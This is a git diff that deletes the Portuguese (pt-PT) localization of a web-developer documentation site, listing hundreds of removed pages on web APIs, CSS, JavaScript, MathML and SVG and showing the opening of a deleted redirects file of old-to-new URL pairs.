-rw-r--r--files/pt-pt/web/api/filereader/index.html172
-rw-r--r--files/pt-pt/web/api/filereader/readasarraybuffer/index.html64
-rw-r--r--files/pt-pt/web/api/filereader/readasbinarystring/index.html85
-rw-r--r--files/pt-pt/web/api/filereader/readasdataurl/index.html133
-rw-r--r--files/pt-pt/web/api/filereader/readastext/index.html63
-rw-r--r--files/pt-pt/web/api/filereader/readystate/index.html96
-rw-r--r--files/pt-pt/web/api/filereader/result/index.html105
-rw-r--r--files/pt-pt/web/api/filesystem/index.html55
-rw-r--r--files/pt-pt/web/api/geolocation/index.html223
-rw-r--r--files/pt-pt/web/api/geolocation_api/index.html243
-rw-r--r--files/pt-pt/web/api/index.html14
-rw-r--r--files/pt-pt/web/api/mathmlelement/index.html72
-rw-r--r--files/pt-pt/web/api/media_streams_api/index.html212
-rw-r--r--files/pt-pt/web/api/mediadevices/index.html263
-rw-r--r--files/pt-pt/web/api/messageevent/index.html139
-rw-r--r--files/pt-pt/web/api/metadata/index.html117
-rw-r--r--files/pt-pt/web/api/navigatoronline/index.html134
-rw-r--r--files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html98
-rw-r--r--files/pt-pt/web/api/node/appendchild/index.html32
-rw-r--r--files/pt-pt/web/api/node/clonenode/index.html56
-rw-r--r--files/pt-pt/web/api/node/index.html407
-rw-r--r--files/pt-pt/web/api/node/insertbefore/index.html61
-rw-r--r--files/pt-pt/web/api/notification/index.html316
-rw-r--r--files/pt-pt/web/api/notifications_api/index.html194
-rw-r--r--files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html290
-rw-r--r--files/pt-pt/web/api/page_visibility_api/index.html271
-rw-r--r--files/pt-pt/web/api/push_api/index.html175
-rw-r--r--files/pt-pt/web/api/selection/index.html77
-rw-r--r--files/pt-pt/web/api/service_worker_api/index.html335
-rw-r--r--files/pt-pt/web/api/service_worker_api/using_service_workers/index.html459
-rw-r--r--files/pt-pt/web/api/sharedworker/index.html200
-rw-r--r--files/pt-pt/web/api/storage_api/index.html129
-rw-r--r--files/pt-pt/web/api/urlsearchparams/index.html207
-rw-r--r--files/pt-pt/web/api/web_audio_api/index.html512
-rw-r--r--files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html260
-rw-r--r--files/pt-pt/web/api/web_authentication_api/index.html150
-rw-r--r--files/pt-pt/web/api/web_storage_api/index.html109
-rw-r--r--files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html443
-rw-r--r--files/pt-pt/web/api/web_workers_api/index.html234
-rw-r--r--files/pt-pt/web/api/web_workers_api/using_web_workers/index.html1092
-rw-r--r--files/pt-pt/web/api/webgl_api/constants/index.html4024
-rw-r--r--files/pt-pt/web/api/webgl_api/data/index.html134
-rw-r--r--files/pt-pt/web/api/webgl_api/index.html255
-rw-r--r--files/pt-pt/web/api/webgl_api/types/index.html243
-rw-r--r--files/pt-pt/web/api/webgl_api/using_extensions/index.html719
-rw-r--r--files/pt-pt/web/api/webglrenderingcontext/index.html444
-rw-r--r--files/pt-pt/web/api/webrtc_api/index.html288
-rw-r--r--files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html223
-rw-r--r--files/pt-pt/web/api/websocket/index.html148
-rw-r--r--files/pt-pt/web/api/websocket/websocket/index.html59
-rw-r--r--files/pt-pt/web/api/websockets_api/index.html113
-rw-r--r--files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html221
-rw-r--r--files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html181
-rw-r--r--files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html442
-rw-r--r--files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html258
-rw-r--r--files/pt-pt/web/api/window/console/index.html56
-rw-r--r--files/pt-pt/web/api/window/index.html479
-rw-r--r--files/pt-pt/web/api/window/open/index.html748
-rw-r--r--files/pt-pt/web/api/window/postmessage/index.html337
-rw-r--r--files/pt-pt/web/api/window/sidebar/index.html61
-rw-r--r--files/pt-pt/web/api/worker/index.html270
-rw-r--r--files/pt-pt/web/api/xmlhttprequest/index.html174
-rw-r--r--files/pt-pt/web/css/@font-face/index.html143
-rw-r--r--files/pt-pt/web/css/@import/index.html53
-rw-r--r--files/pt-pt/web/css/@media/index.html276
-rw-r--r--files/pt-pt/web/css/_doublecolon_after/index.html35
-rw-r--r--files/pt-pt/web/css/_doublecolon_before/index.html64
-rw-r--r--files/pt-pt/web/css/alternative_style_sheets/index.html24
-rw-r--r--files/pt-pt/web/css/at-rule/index.html83
-rw-r--r--files/pt-pt/web/css/background-attachment/index.html140
-rw-r--r--files/pt-pt/web/css/background-color/index.html108
-rw-r--r--files/pt-pt/web/css/background-image/index.html131
-rw-r--r--files/pt-pt/web/css/background-position/index.html85
-rw-r--r--files/pt-pt/web/css/background-repeat/index.html138
-rw-r--r--files/pt-pt/web/css/background/index.html117
-rw-r--r--files/pt-pt/web/css/border-bottom-color/index.html110
-rw-r--r--files/pt-pt/web/css/border-bottom-style/index.html94
-rw-r--r--files/pt-pt/web/css/border-bottom-width/index.html112
-rw-r--r--files/pt-pt/web/css/border-bottom/index.html109
-rw-r--r--files/pt-pt/web/css/border-collapse/index.html87
-rw-r--r--files/pt-pt/web/css/border-color/index.html116
-rw-r--r--files/pt-pt/web/css/border-left-color/index.html16
-rw-r--r--files/pt-pt/web/css/border-left-style/index.html16
-rw-r--r--files/pt-pt/web/css/border-left-width/index.html16
-rw-r--r--files/pt-pt/web/css/border-left/index.html50
-rw-r--r--files/pt-pt/web/css/border-right-color/index.html16
-rw-r--r--files/pt-pt/web/css/border-right-style/index.html16
-rw-r--r--files/pt-pt/web/css/border-right-width/index.html16
-rw-r--r--files/pt-pt/web/css/border-right/index.html49
-rw-r--r--files/pt-pt/web/css/border-spacing/index.html100
-rw-r--r--files/pt-pt/web/css/border-top-color/index.html16
-rw-r--r--files/pt-pt/web/css/border-top-style/index.html16
-rw-r--r--files/pt-pt/web/css/border-top-width/index.html16
-rw-r--r--files/pt-pt/web/css/border-top/index.html49
-rw-r--r--files/pt-pt/web/css/border-width/index.html112
-rw-r--r--files/pt-pt/web/css/border/index.html51
-rw-r--r--files/pt-pt/web/css/bottom/index.html81
-rw-r--r--files/pt-pt/web/css/clear/index.html93
-rw-r--r--files/pt-pt/web/css/color/index.html47
-rw-r--r--files/pt-pt/web/css/content/index.html18
-rw-r--r--files/pt-pt/web/css/counter-increment/index.html66
-rw-r--r--files/pt-pt/web/css/counter-reset/index.html69
-rw-r--r--files/pt-pt/web/css/css_backgrounds_and_borders/index.html156
-rw-r--r--files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html59
-rw-r--r--files/pt-pt/web/css/css_box_model/index.html167
-rw-r--r--files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html70
-rw-r--r--files/pt-pt/web/css/css_colors/color_picker_tool/index.html3244
-rw-r--r--files/pt-pt/web/css/css_columns/index.html240
-rw-r--r--files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html216
-rw-r--r--files/pt-pt/web/css/css_flexible_box_layout/index.html155
-rw-r--r--files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html141
-rw-r--r--files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html127
-rw-r--r--files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html144
-rw-r--r--files/pt-pt/web/css/css_grid_layout/index.html251
-rw-r--r--files/pt-pt/web/css/css_transforms/using_css_transforms/index.html35
-rw-r--r--files/pt-pt/web/css/css_types/index.html66
-rw-r--r--files/pt-pt/web/css/cursor/index.html159
-rw-r--r--files/pt-pt/web/css/direction/index.html46
-rw-r--r--files/pt-pt/web/css/display/index.html707
-rw-r--r--files/pt-pt/web/css/float/index.html111
-rw-r--r--files/pt-pt/web/css/font-size-adjust/index.html75
-rw-r--r--files/pt-pt/web/css/font-size/index.html83
-rw-r--r--files/pt-pt/web/css/font-smooth/index.html85
-rw-r--r--files/pt-pt/web/css/font-style/index.html40
-rw-r--r--files/pt-pt/web/css/font-weight/index.html119
-rw-r--r--files/pt-pt/web/css/font/index.html140
-rw-r--r--files/pt-pt/web/css/gap/index.html179
-rw-r--r--files/pt-pt/web/css/height/index.html86
-rw-r--r--files/pt-pt/web/css/index.html105
-rw-r--r--files/pt-pt/web/css/inherit/index.html7
-rw-r--r--files/pt-pt/web/css/list-style/index.html79
-rw-r--r--files/pt-pt/web/css/media_queries/index.html111
-rw-r--r--files/pt-pt/web/css/media_queries/using_media_queries/index.html437
-rw-r--r--files/pt-pt/web/css/paged_media/index.html20
-rw-r--r--files/pt-pt/web/css/pseudo-classes/index.html166
-rw-r--r--files/pt-pt/web/css/pseudo-elements/index.html105
-rw-r--r--files/pt-pt/web/css/reference/index.html172
-rw-r--r--files/pt-pt/web/css/replaced_element/index.html23
-rw-r--r--files/pt-pt/web/css/shorthand_properties/index.html143
-rw-r--r--files/pt-pt/web/css/top/index.html54
-rw-r--r--files/pt-pt/web/css/transform/index.html238
-rw-r--r--files/pt-pt/web/css/width/index.html86
-rw-r--r--files/pt-pt/web/css/z-index/index.html41
-rw-r--r--files/pt-pt/web/events/index.html3081
-rw-r--r--files/pt-pt/web/guide/ajax/community/index.html23
-rw-r--r--files/pt-pt/web/guide/ajax/getting_started/index.html306
-rw-r--r--files/pt-pt/web/guide/ajax/index.html131
-rw-r--r--files/pt-pt/web/guide/graphics/index.html51
-rw-r--r--files/pt-pt/web/guide/html/content_categories/index.html176
-rw-r--r--files/pt-pt/web/guide/html/html5/html5_parser/index.html59
-rw-r--r--files/pt-pt/web/guide/html/html5/index.html170
-rw-r--r--files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html21
-rw-r--r--files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html344
-rw-r--r--files/pt-pt/web/guide/index.html63
-rw-r--r--files/pt-pt/web/html/applying_color/index.html582
-rw-r--r--files/pt-pt/web/html/attributes/crossorigin/index.html88
-rw-r--r--files/pt-pt/web/html/attributes/index.html660
-rw-r--r--files/pt-pt/web/html/attributes/rel/index.html419
-rw-r--r--files/pt-pt/web/html/element/audio/index.html48
-rw-r--r--files/pt-pt/web/html/element/fieldset/index.html178
-rw-r--r--files/pt-pt/web/html/element/figcaption/index.html102
-rw-r--r--files/pt-pt/web/html/element/figure/index.html57
-rw-r--r--files/pt-pt/web/html/element/head/index.html109
-rw-r--r--files/pt-pt/web/html/element/index.html108
-rw-r--r--files/pt-pt/web/html/element/nav/index.html100
-rw-r--r--files/pt-pt/web/html/element/progress/index.html129
-rw-r--r--files/pt-pt/web/html/element/video/index.html70
-rw-r--r--files/pt-pt/web/html/global_attributes/index.html481
-rw-r--r--files/pt-pt/web/html/index.html105
-rw-r--r--files/pt-pt/web/html/link_types/index.html609
-rw-r--r--files/pt-pt/web/html/reference/index.html28
-rw-r--r--files/pt-pt/web/http/cors/errors/corsdidnotsucceed/index.html22
-rw-r--r--files/pt-pt/web/http/cors/errors/index.html76
-rw-r--r--files/pt-pt/web/http/cors/index.html570
-rw-r--r--files/pt-pt/web/http/headers/allow/index.html67
-rw-r--r--files/pt-pt/web/http/headers/index.html360
-rw-r--r--files/pt-pt/web/http/headers/x-content-type-options/index.html83
-rw-r--r--files/pt-pt/web/http/index.html84
-rw-r--r--files/pt-pt/web/http/proxy_servers_and_tunneling/index.html98
-rw-r--r--files/pt-pt/web/http/status/205/index.html45
-rw-r--r--files/pt-pt/web/http/status/405/index.html46
-rw-r--r--files/pt-pt/web/http/status/502/index.html51
-rw-r--r--files/pt-pt/web/http/status/504/index.html50
-rw-r--r--files/pt-pt/web/http/status/index.html185
-rw-r--r--files/pt-pt/web/index.html88
-rw-r--r--files/pt-pt/web/javascript/data_structures/index.html298
-rw-r--r--files/pt-pt/web/javascript/guide/details_of_the_object_model/index.html736
-rw-r--r--files/pt-pt/web/javascript/guide/grammar_and_types/index.html642
-rw-r--r--files/pt-pt/web/javascript/guide/index.html124
-rw-r--r--files/pt-pt/web/javascript/guide/introduction/index.html138
-rw-r--r--files/pt-pt/web/javascript/index.html140
-rw-r--r--files/pt-pt/web/javascript/memory_management/index.html188
-rw-r--r--files/pt-pt/web/javascript/reference/about/index.html53
-rw-r--r--files/pt-pt/web/javascript/reference/classes/index.html437
-rw-r--r--files/pt-pt/web/javascript/reference/classes/static/index.html131
-rw-r--r--files/pt-pt/web/javascript/reference/deprecated_and_obsolete_features/index.html290
-rw-r--r--files/pt-pt/web/javascript/reference/errors/index.html31
-rw-r--r--files/pt-pt/web/javascript/reference/errors/not_a_function/index.html172
-rw-r--r--files/pt-pt/web/javascript/reference/errors/stmt_after_return/index.html77
-rw-r--r--files/pt-pt/web/javascript/reference/errors/unexpected_token/index.html50
-rw-r--r--files/pt-pt/web/javascript/reference/errors/unnamed_function_statement/index.html114
-rw-r--r--files/pt-pt/web/javascript/reference/functions/arguments/index.html229
-rw-r--r--files/pt-pt/web/javascript/reference/functions/arrow_functions/index.html400
-rw-r--r--files/pt-pt/web/javascript/reference/functions/index.html595
-rw-r--r--files/pt-pt/web/javascript/reference/functions/rest_parameters/index.html235
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/concat/index.html205
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/find/index.html210
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/foreach/index.html328
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/includes/index.html175
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/index.html440
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/join/index.html90
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/map/index.html366
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/pop/index.html96
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/reverse/index.html133
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/array/slice/index.html154
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/arraybuffer/index.html219
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/asyncfunction/index.html124
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/boolean/index.html156
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/encodeuri/index.html152
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/function/arguments/index.html88
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/function/call/index.html164
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/function/index.html192
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/index.html173
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/infinity/index.html69
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/math/ceil/index.html161
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/math/index.html214
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/index.html213
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/isfinite/index.html126
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/isinteger/index.html125
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/isnan/index.html136
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/max_value/index.html119
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/min_value/index.html121
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/nan/index.html103
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/negative_infinity/index.html91
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/number/tostring/index.html146
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/object/hasownproperty/index.html187
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/object/index.html184
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/string/index.html326
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/string/indexof/index.html191
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/string/length/index.html125
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/string/trim/index.html139
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/symbol/hasinstance/index.html114
-rw-r--r--files/pt-pt/web/javascript/reference/global_objects/symbol/index.html458
-rw-r--r--files/pt-pt/web/javascript/reference/index.html307
-rw-r--r--files/pt-pt/web/javascript/reference/operators/comma_operator/index.html95
-rw-r--r--files/pt-pt/web/javascript/reference/operators/function/index.html140
-rw-r--r--files/pt-pt/web/javascript/reference/operators/index.html310
-rw-r--r--files/pt-pt/web/javascript/reference/operators/operator_precedence/index.html462
-rw-r--r--files/pt-pt/web/javascript/reference/statements/block/index.html117
-rw-r--r--files/pt-pt/web/javascript/reference/statements/for/index.html146
-rw-r--r--files/pt-pt/web/javascript/reference/statements/index.html151
-rw-r--r--files/pt-pt/web/javascript/reference/statements/return/index.html149
-rw-r--r--files/pt-pt/web/javascript/reference/statements/throw/index.html272
-rw-r--r--files/pt-pt/web/javascript/shells/index.html30
-rw-r--r--files/pt-pt/web/manifest/index.html121
-rw-r--r--files/pt-pt/web/mathml/attribute/index.html481
-rw-r--r--files/pt-pt/web/mathml/attribute/values/index.html154
-rw-r--r--files/pt-pt/web/mathml/authoring/index.html350
-rw-r--r--files/pt-pt/web/mathml/element/index.html234
-rw-r--r--files/pt-pt/web/mathml/element/maction/index.html124
-rw-r--r--files/pt-pt/web/mathml/element/math/index.html161
-rw-r--r--files/pt-pt/web/mathml/element/menclose/index.html196
-rw-r--r--files/pt-pt/web/mathml/element/merror/index.html73
-rw-r--r--files/pt-pt/web/mathml/element/mfenced/index.html81
-rw-r--r--files/pt-pt/web/mathml/element/mfrac/index.html92
-rw-r--r--files/pt-pt/web/mathml/element/mi/index.html114
-rw-r--r--files/pt-pt/web/mathml/element/mmultiscripts/index.html131
-rw-r--r--files/pt-pt/web/mathml/element/mn/index.html116
-rw-r--r--files/pt-pt/web/mathml/element/mo/index.html171
-rw-r--r--files/pt-pt/web/mathml/element/mover/index.html91
-rw-r--r--files/pt-pt/web/mathml/element/mpadded/index.html96
-rw-r--r--files/pt-pt/web/mathml/element/mphantom/index.html80
-rw-r--r--files/pt-pt/web/mathml/element/mroot/index.html78
-rw-r--r--files/pt-pt/web/mathml/element/mrow/index.html95
-rw-r--r--files/pt-pt/web/mathml/element/ms/index.html112
-rw-r--r--files/pt-pt/web/mathml/element/mspace/index.html88
-rw-r--r--files/pt-pt/web/mathml/element/msqrt/index.html77
-rw-r--r--files/pt-pt/web/mathml/element/mstyle/index.html126
-rw-r--r--files/pt-pt/web/mathml/element/msub/index.html85
-rw-r--r--files/pt-pt/web/mathml/element/msubsup/index.html89
-rw-r--r--files/pt-pt/web/mathml/element/msup/index.html85
-rw-r--r--files/pt-pt/web/mathml/element/mtable/index.html140
-rw-r--r--files/pt-pt/web/mathml/element/mtd/index.html75
-rw-r--r--files/pt-pt/web/mathml/element/mtext/index.html113
-rw-r--r--files/pt-pt/web/mathml/element/mtr/index.html71
-rw-r--r--files/pt-pt/web/mathml/element/munder/index.html91
-rw-r--r--files/pt-pt/web/mathml/element/munderover/index.html91
-rw-r--r--files/pt-pt/web/mathml/element/semantics/index.html127
-rw-r--r--files/pt-pt/web/mathml/examples/deriving_the_quadratic_formula/index.html18
-rw-r--r--files/pt-pt/web/mathml/examples/index.html22
-rw-r--r--files/pt-pt/web/mathml/examples/mathml_pythagorean_theorem/index.html20
-rw-r--r--files/pt-pt/web/mathml/index.html72
-rw-r--r--files/pt-pt/web/mathml/index/index.html11
-rw-r--r--files/pt-pt/web/opensearch/index.html149
-rw-r--r--files/pt-pt/web/progressive_web_apps/developer_guide/index.html78
-rw-r--r--files/pt-pt/web/progressive_web_apps/index.html107
-rw-r--r--files/pt-pt/web/progressive_web_apps/responsive/media_types/index.html434
-rw-r--r--files/pt-pt/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html429
-rw-r--r--files/pt-pt/web/reference/api/index.html57
-rw-r--r--files/pt-pt/web/reference/index.html28
-rw-r--r--files/pt-pt/web/security/index.html17
-rw-r--r--files/pt-pt/web/security/insecure_passwords/index.html158
-rw-r--r--files/pt-pt/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html31
-rw-r--r--files/pt-pt/web/security/mixed_content/index.html81
-rw-r--r--files/pt-pt/web/security/same-origin_policy/index.html264
-rw-r--r--files/pt-pt/web/security/secure_contexts/index.html202
-rw-r--r--files/pt-pt/web/svg/applying_svg_effects_to_html_content/index.html302
-rw-r--r--files/pt-pt/web/svg/element/index.html298
-rw-r--r--files/pt-pt/web/svg/index.html95
-rw-r--r--files/pt-pt/web/svg/namespaces_crash_course/example/index.html395
-rw-r--r--files/pt-pt/web/svg/namespaces_crash_course/index.html266
-rw-r--r--files/pt-pt/web/svg/svg_animation_with_smil/index.html126
-rw-r--r--files/pt-pt/web/svg/tutorial/index.html32
-rw-r--r--files/pt-pt/web/svg/tutorial/introduction/index.html53
-rw-r--r--files/pt-pt/web/svg/tutorial/svg_and_css/index.html216
-rw-r--r--files/pt-pt/web/svg/tutorial/svg_in_html_introduction/index.html180
-rw-r--r--files/pt-pt/web/tutorials/index.html253
-rw-r--r--files/pt-pt/web/web_components/index.html227
-rw-r--r--files/pt-pt/web/xml/index.html15
-rw-r--r--files/pt-pt/web/xml/xml_introduction/index.html205
-rw-r--r--files/pt-pt/web/xslt/index.html56
-rw-r--r--files/pt-pt/webassembly/index.html115
-rw-r--r--files/pt-pt/webassembly/using_the_javascript_api/index.html258
730 files changed, 0 insertions, 120962 deletions
diff --git a/files/pt-pt/_redirects.txt b/files/pt-pt/_redirects.txt
deleted file mode 100644
index b0461a417d..0000000000
--- a/files/pt-pt/_redirects.txt
+++ /dev/null
@@ -1,1035 +0,0 @@
-# DO NOT EDIT THIS FILE MANUALLY.
-# Use the CLI instead:
-#
-# yarn content add-redirect <fromURL> <toURL>
-#
-# FROM-URL TO-URL
-/pt-PT/docs/AJAX /pt-PT/docs/Web/Guide/AJAX
-/pt-PT/docs/AJAX/Como_começar /pt-PT/docs/Web/Guide/AJAX/Getting_Started
-/pt-PT/docs/AJAX:Como_começar /pt-PT/docs/Web/Guide/AJAX/Getting_Started
-/pt-PT/docs/Acentuação_para_conteúdos_carregados_por_AJAX /pt-PT/docs/orphaned/Acentuação_para_conteúdos_carregados_por_AJAX
-/pt-PT/docs/Acessibilidade /pt-PT/docs/Web/Accessibility
-/pt-PT/docs/Atualizando_extensões_para_o_Firefox_3 /pt-PT/docs/Mozilla/Firefox/Releases/3/Updating_extensions
-/pt-PT/docs/Atualizando_extensões_para_o_Firefox_3.5 /pt-PT/docs/Mozilla/Firefox/Releases/3.5/Updating_extensions
-/pt-PT/docs/CSS /pt-PT/docs/Web/CSS
-/pt-PT/docs/CSS/:after /pt-PT/docs/Web/CSS/::after
-/pt-PT/docs/CSS/:before /pt-PT/docs/Web/CSS/::before
-/pt-PT/docs/CSS/@font-face /pt-PT/docs/Web/CSS/@font-face
-/pt-PT/docs/CSS/@import /pt-PT/docs/Web/CSS/@import
-/pt-PT/docs/CSS/@media /pt-PT/docs/Web/CSS/@media
-/pt-PT/docs/CSS/Como_começar /pt-PT/docs/Learn/CSS/First_steps
-/pt-PT/docs/CSS/Como_começar/CSS_legível /pt-PT/docs/Learn/CSS/First_steps/How_CSS_is_structured
-/pt-PT/docs/CSS/Como_começar/Caixas /pt-PT/docs/Learn/CSS/Building_blocks
-/pt-PT/docs/CSS/Como_começar/Cascata_e_herança /pt-PT/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance
-/pt-PT/docs/CSS/Como_começar/Como_o_CSS_trabalha /pt-PT/docs/Learn/CSS/First_steps/How_CSS_works
-/pt-PT/docs/CSS/Como_começar/Conteúdo /pt-PT/docs/Learn/CSS/Howto/Generated_content
-/pt-PT/docs/CSS/Como_começar/Cor /pt-PT/docs/Learn/CSS/Building_blocks/Values_and_units
-/pt-PT/docs/CSS/Como_começar/Dados_XML /pt-PT/docs/Web/CSS/Como_começar/Dados_XML
-/pt-PT/docs/CSS/Como_começar/Disposição /pt-PT/docs/Learn/CSS/CSS_layout
-/pt-PT/docs/CSS/Como_começar/Estilos_de_texto /pt-PT/docs/Learn/CSS/Styling_text/Fundamentals
-/pt-PT/docs/CSS/Como_começar/Gráficos_SVG /pt-PT/docs/Web/SVG/Tutorial/SVG_and_CSS
-/pt-PT/docs/CSS/Como_começar/Interfaces_de_usuário_XUL /pt-PT/docs/Web/CSS/Como_começar/Interfaces_de_usuário_XUL
-/pt-PT/docs/CSS/Como_começar/JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
-/pt-PT/docs/CSS/Como_começar/Listas /pt-PT/docs/Learn/CSS/Styling_text/Styling_lists
-/pt-PT/docs/CSS/Como_começar/Mídia /pt-PT/docs/Web/Progressive_web_apps/Responsive/Media_types
-/pt-PT/docs/CSS/Como_começar/O_que_é_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works
-/pt-PT/docs/CSS/Como_começar/O_que_é_CSS? /pt-PT/docs/orphaned/Web/CSS/Como_começar/O_que_é_CSS?
-/pt-PT/docs/CSS/Como_começar/Porque_usar_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460
-/pt-PT/docs/CSS/Como_começar/Seletores /pt-PT/docs/Learn/CSS/Building_blocks/Selectors
-/pt-PT/docs/CSS/Como_começar/Tabelas /pt-PT/docs/Learn/CSS/Building_blocks/Styling_tables
-/pt-PT/docs/CSS/Consulta_de_mídia /pt-PT/docs/Web/CSS/Media_Queries/Using_media_queries
-/pt-PT/docs/CSS/Getting_Started/JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
-/pt-PT/docs/CSS/Múltiplos_fundos /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-/pt-PT/docs/CSS/Múltiplos_planos_de_fundo /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-/pt-PT/docs/CSS/Usando_transformações_CSS /pt-PT/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
-/pt-PT/docs/CSS/azimuth /pt-PT/docs/Web/CSS/azimuth
-/pt-PT/docs/CSS/background /pt-PT/docs/Web/CSS/background
-/pt-PT/docs/CSS/background-attachment /pt-PT/docs/Web/CSS/background-attachment
-/pt-PT/docs/CSS/background-color /pt-PT/docs/Web/CSS/background-color
-/pt-PT/docs/CSS/background-image /pt-PT/docs/Web/CSS/background-image
-/pt-PT/docs/CSS/background-position /pt-PT/docs/Web/CSS/background-position
-/pt-PT/docs/CSS/background-repeat /pt-PT/docs/Web/CSS/background-repeat
-/pt-PT/docs/CSS/border /pt-PT/docs/Web/CSS/border
-/pt-PT/docs/CSS/border-bottom /pt-PT/docs/Web/CSS/border-bottom
-/pt-PT/docs/CSS/border-bottom-color /pt-PT/docs/Web/CSS/border-bottom-color
-/pt-PT/docs/CSS/border-bottom-style /pt-PT/docs/Web/CSS/border-bottom-style
-/pt-PT/docs/CSS/border-bottom-width /pt-PT/docs/Web/CSS/border-bottom-width
-/pt-PT/docs/CSS/border-collapse /pt-PT/docs/Web/CSS/border-collapse
-/pt-PT/docs/CSS/border-color /pt-PT/docs/Web/CSS/border-color
-/pt-PT/docs/CSS/border-left /pt-PT/docs/Web/CSS/border-left
-/pt-PT/docs/CSS/border-left-color /pt-PT/docs/Web/CSS/border-left-color
-/pt-PT/docs/CSS/border-left-style /pt-PT/docs/Web/CSS/border-left-style
-/pt-PT/docs/CSS/border-left-width /pt-PT/docs/Web/CSS/border-left-width
-/pt-PT/docs/CSS/border-right /pt-PT/docs/Web/CSS/border-right
-/pt-PT/docs/CSS/border-right-color /pt-PT/docs/Web/CSS/border-right-color
-/pt-PT/docs/CSS/border-right-style /pt-PT/docs/Web/CSS/border-right-style
-/pt-PT/docs/CSS/border-right-width /pt-PT/docs/Web/CSS/border-right-width
-/pt-PT/docs/CSS/border-spacing /pt-PT/docs/Web/CSS/border-spacing
-/pt-PT/docs/CSS/border-top /pt-PT/docs/Web/CSS/border-top
-/pt-PT/docs/CSS/border-top-color /pt-PT/docs/Web/CSS/border-top-color
-/pt-PT/docs/CSS/border-top-style /pt-PT/docs/Web/CSS/border-top-style
-/pt-PT/docs/CSS/border-top-width /pt-PT/docs/Web/CSS/border-top-width
-/pt-PT/docs/CSS/border-width /pt-PT/docs/Web/CSS/border-width
-/pt-PT/docs/CSS/bottom /pt-PT/docs/Web/CSS/bottom
-/pt-PT/docs/CSS/clear /pt-PT/docs/Web/CSS/clear
-/pt-PT/docs/CSS/color /pt-PT/docs/Web/CSS/color
-/pt-PT/docs/CSS/content /pt-PT/docs/Web/CSS/content
-/pt-PT/docs/CSS/counter-increment /pt-PT/docs/Web/CSS/counter-increment
-/pt-PT/docs/CSS/counter-reset /pt-PT/docs/Web/CSS/counter-reset
-/pt-PT/docs/CSS/cursor /pt-PT/docs/Web/CSS/cursor
-/pt-PT/docs/CSS/direction /pt-PT/docs/Web/CSS/direction
-/pt-PT/docs/CSS/display /pt-PT/docs/Web/CSS/display
-/pt-PT/docs/CSS/float /pt-PT/docs/Web/CSS/float
-/pt-PT/docs/CSS/font /pt-PT/docs/Web/CSS/font
-/pt-PT/docs/CSS/font-size /pt-PT/docs/Web/CSS/font-size
-/pt-PT/docs/CSS/font-size-adjust /pt-PT/docs/Web/CSS/font-size-adjust
-/pt-PT/docs/CSS/font-style /pt-PT/docs/Web/CSS/font-style
-/pt-PT/docs/CSS/font-weight /pt-PT/docs/Web/CSS/font-weight
-/pt-PT/docs/CSS/height /pt-PT/docs/Web/CSS/height
